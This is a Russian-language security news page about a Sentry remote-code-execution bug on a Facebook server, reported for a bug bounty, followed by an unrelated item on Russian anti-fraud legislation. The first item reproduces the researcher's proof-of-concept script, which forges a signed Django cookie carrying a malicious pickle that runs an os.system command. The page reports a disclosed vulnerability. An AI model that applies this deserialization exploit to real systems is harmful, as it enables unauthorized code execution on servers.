Баг на сервере Facebook позволял удаленно запустить вредоносный код

Баг на сервере Facebook позволял удаленно запустить вредоносный код

Баг на сервере Facebook позволял удаленно запустить вредоносный код

Разработчики Facebook исправили серьезный баг, который мог привести к удаленному выполнению кода. Сама уязвимость была обнаружена на одном из серверов интернет-гиганта, о чем сообщил исследователь безопасности Дэниел Ле Галл, также известный под псевдонимом «Blaklis».

Ле Галл, работающий в SCRT Information Security, в пятницу заявил, что ему выплатили $5000 за сообщение о проблеме безопасности.

Суть уязвимости в том, что злоумышленник может выполнить произвольные команды, используя вредоносные файлы cookie.

Несмотря на то, что подобные бреши обычно довольно опасны, эксперт подчеркнул, что с помощью этого бага нельзя было получить пользовательские данные. Разработчики устранили уязвимость в этом месяце, еще до того, как была опубликована информация о ее наличии.

«Blaklis» утверждает, что недостаток был найден на одном из серверов Facebook, где было запущено программное обеспечение для сбора логов Sentry.

«Само приложение было крайне нестабильным, особенно в отношении функции сброса пароля пользователя», — объясняет специалист.

В итоге Ле Галлу удалось найти в логах детали обработки cookie, а также подробности использования приложением протокола Pickle, который может быть уязвим для различного рода манипуляций. Используя все вышеозначенные данные, эксперт мог обработать файлы cookie, которые могли запускать команды на машине.

Исследователь опубликовал PoC-код, который является небольшим файлом cookie:

#!/usr/bin/python
import django.core.signing, django.contrib.sessions.serializers
from django.http import HttpResponse
import cPickle
import os
SECRET_KEY='[RETRIEVEDKEY]'
#Initial cookie I had on sentry when trying to reset a password
cookie='gAJ9cQFYCgAAAHRlc3Rjb29raWVxAlgGAAAAd29ya2VkcQNzLg:1fjsBy:FdZ8oz3sQBnx2TPyncNt0LoyiAw'
newContent =  django.core.signing.loads(cookie,key=SECRET_KEY,serializer=django.contrib.sessions.serializers.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies')
class PickleRce(object):
    def __reduce__(self):
        return (os.system,("sleep 30",))
newContent['testcookie'] = PickleRce()
print django.core.signing.dumps(newContent,key=SECRET_KEY,serializer=django.contrib.sessions.serializers.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies',compress=True)
Anti-Malware Яндекс ДзенПодписывайтесь на канал "Anti-Malware" в Telegram, чтобы первыми узнавать о новостях и наших эксклюзивных материалах по информационной безопасности.

Правительство разработало меры против телефонных и интернет-мошенников

Меры против телефонных и интернет-мошенников, разработанные российскими властями, оформлены в виде пакета законопроектов, созданных при участии Банка России и правоохранительных органов.

Они затрагивают основные схемы, которые используют телефонные и интернет-мошенники и включают прежде всего маркировку звонков и самозапрет на взятие кредитов, в том числе в микрофинансовых организациях.

Целиком пакет мер, как анонсировал министр цифрового развития, связи и массовых коммуникаций Максут Шадаев, включает 30 нормативных актов.

Маркировка звонков, по мнению правительства, позволит идентифицировать звонящих и исключит ситуацию, когда мошенники выдают себя за сотрудников банков или правоохранительных органов.

Госучреждениям, операторам связи и банкам будет запрещено связываться с гражданами через мессенджеры. Будет также введен запрет на рассылку СМС-сообщений во время звонков. Это позволит пресечь кражи кодов аутентификации.

Данные меры предлагают удаленно запретить оформление кредитов и займов онлайн на свое имя через портал Госуслуг или сервисы банков. Снять это ограничение можно будет при личном посещении МФЦ или отделения банка.

Кредитные организации будут также обязаны проводить более тщательную проверку заемщиков. Предлагается в том числе запретить перечисление микрозаймов на счета третьих лиц, что, по мнению разработчиков, позволит закрыть лазейку, которой очень часто пользуются злоумышленники.

В том случае, если персональные данные гражданина оказались скомпрометированы в ходе утечки, будет вводиться временная заморозка на возможность взять кредит онлайн. То же самое будет происходить при смене номера телефона или других учетных данных.

Анонсированные правительством меры предлагают закрепить возможность информационного обмена между госучреждениями, банками и цифровыми платформами. Это должно облегчить мониторинг потенциально подозрительных операций и вовремя пресекать потенциальные мошенничества.

Как предположил обозреватель «Российской газеты» Олег Капранов, речь может идти о создании обновленной системы «Антифрод», которая будет также агрегирована с «Антифишинг» и «Мультисканер». Ее создание анонсировал заместитель министра цифрового развития Александр Шойтов на конференции SOC Forum 2024.

«Мы детально проанализировали наиболее распространенные мошеннические схемы, включая обман через звонки и сообщения, взломы личных кабинетов и оформление кредитов на чужие паспорта. На основе этого анализа мы разработали меры для защиты граждан от таких угроз. В результате гражданам станет доступен широкий набор инструментов, который поможет им обезопасить себя от телефонного и интернет-мошенничества», — отметил вице-премьер - глава аппарата Правительства Дмитрий Григоренко.

Anti-Malware Яндекс ДзенПодписывайтесь на канал "Anti-Malware" в Telegram, чтобы первыми узнавать о новостях и наших эксклюзивных материалах по информационной безопасности.

RSS: Новости на портале Anti-Malware.ru